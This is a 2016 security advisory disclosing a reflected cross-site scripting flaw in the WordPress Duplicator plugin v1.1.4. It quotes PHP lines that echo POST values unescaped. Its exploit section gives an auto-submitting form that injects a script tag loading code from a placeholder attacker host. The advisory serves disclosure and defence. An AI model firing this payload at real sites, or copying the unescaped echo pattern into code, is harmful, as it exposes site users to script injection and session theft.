Advisory #: 1356
Title: Reflected XSS in wordpress plugin duplicator v1.1.4
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/duplicator
Downloads: 2688134
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: duplicator
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./duplicator/installer/build/view.step2.php: 132: <input type="hidden" name="logging" value="<?php echo $_POST['logging'] ?>" /> 133: <input type="hidden" name="package_name" value="<?php echo $_POST['package_name'] ?>" /> 134: <input type="hidden" name="json" value="<?php echo $_POST['json']; ?>" /> 135: <input type="hidden" name="dbhost" value="<?php echo $_POST['dbhost'] ?>" /> 136: <input type="hidden" name="dbport" value="<?php echo $_POST['dbport'] ?>" /> 137: <input type="hidden" name="dbuser" value="<?php echo $_POST['dbuser'] ?>" /> 139: <input type="hidden" name="dbname" value="<?php echo $_POST['dbname'] ?>" /> 140: <input type="hidden" name="dbcharset" value="<?php echo $_POST['dbcharset'] ?>" /> 141: <input type="hidden" name="dbcollate" value="<?php echo $_POST['dbcollate'] ?>" /> 269: <input type="hidden" name="package_name" value="<?php echo $_POST['package_name'] ?>" /> The variable logging appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./duplicator/installer/build/view.step2.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/duplicator/installer/build/view.step2.php method=post> <input type=hidden name=logging value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>